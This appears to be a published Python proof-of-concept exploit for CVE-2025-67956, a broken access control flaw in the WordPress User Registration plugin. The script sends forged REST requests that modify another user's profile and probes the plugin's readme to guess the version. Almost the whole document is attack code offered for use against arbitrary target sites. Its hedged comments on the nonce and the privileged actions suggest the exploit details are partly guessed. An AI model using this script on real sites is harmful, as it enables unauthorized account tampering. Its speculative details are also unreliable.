CVE-2025-67956 WordPress User Registration插件授权缺失漏洞

# CVE-2025-67956 PoC - WordPress User Registration Broken Access Control # Affected: wpeverest User Registration <= 4.4.6 # Author: Security Researcher # Note: This PoC demonstrates the access control bypass vulnerability import requests import sys from urllib.parse import urljoin def exploit_cve_2025_67956(target_url, target_user_id, attacker_cookie=None): """ Exploit for Missing Authorization vulnerability in User Registration plugin Args: target_url: Target WordPress site URL target_user_id: ID of the user to target for unauthorized access attacker_cookie: Optional attacker cookie for authenticated attacks Returns: bool: True if exploitation appears successful, False otherwise """ # Identify User Registration plugin endpoint endpoint = urljoin(target_url, '/wp-json/ur/v1/user') # Construct malicious request with forged user ID headers = { 'Content-Type': 'application/json', 'X-WP-Nonce': '', # May be missing or bypassable } if attacker_cookie: headers['Cookie'] = attacker_cookie # Payload to exploit broken access control payload = { 'user_id': target_user_id, 'action': 'update_profile', # Or other privileged actions 'data': { 'first_name': 'Exploited', 'last_name': 'ByAttacker' } } try: # Send malicious request response = requests.post(endpoint, json=payload, headers=headers, timeout=10) # Check for successful exploitation indicators if response.status_code == 200 and 'success' in response.text.lower(): print(f"[+] Potential exploitation successful!") print(f"[+] Target user ID: {target_user_id}") print(f"[+] Response: {response.text[:200]}") return True else: print(f"[-] Exploitation may have failed") print(f"[-] Status code: {response.status_code}") return False except requests.RequestException as e: print(f"[!] Request failed: {e}") return False def check_version(target_url): """Check if target is running vulnerable version""" # Query plugin version from WordPress API or source code version_url = urljoin(target_url, '/wp-content/plugins/user-registration/readme.txt') try: response = requests.get(version_url, timeout=10) if response.status_code == 200: print(f"[*] Plugin readme accessible - may be vulnerable") return True except: pass return None if __name__ == '__main__': if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <target_user_id>") print(f"Example: python {sys.argv[0]} http://example.com 1") sys.exit(1) target = sys.argv[1] user_id = sys.argv[2] print(f"[*] Checking target: {target}") check_version(target) print(f"[*] Attempting exploitation...") exploit_cve_2025_67956(target, user_id)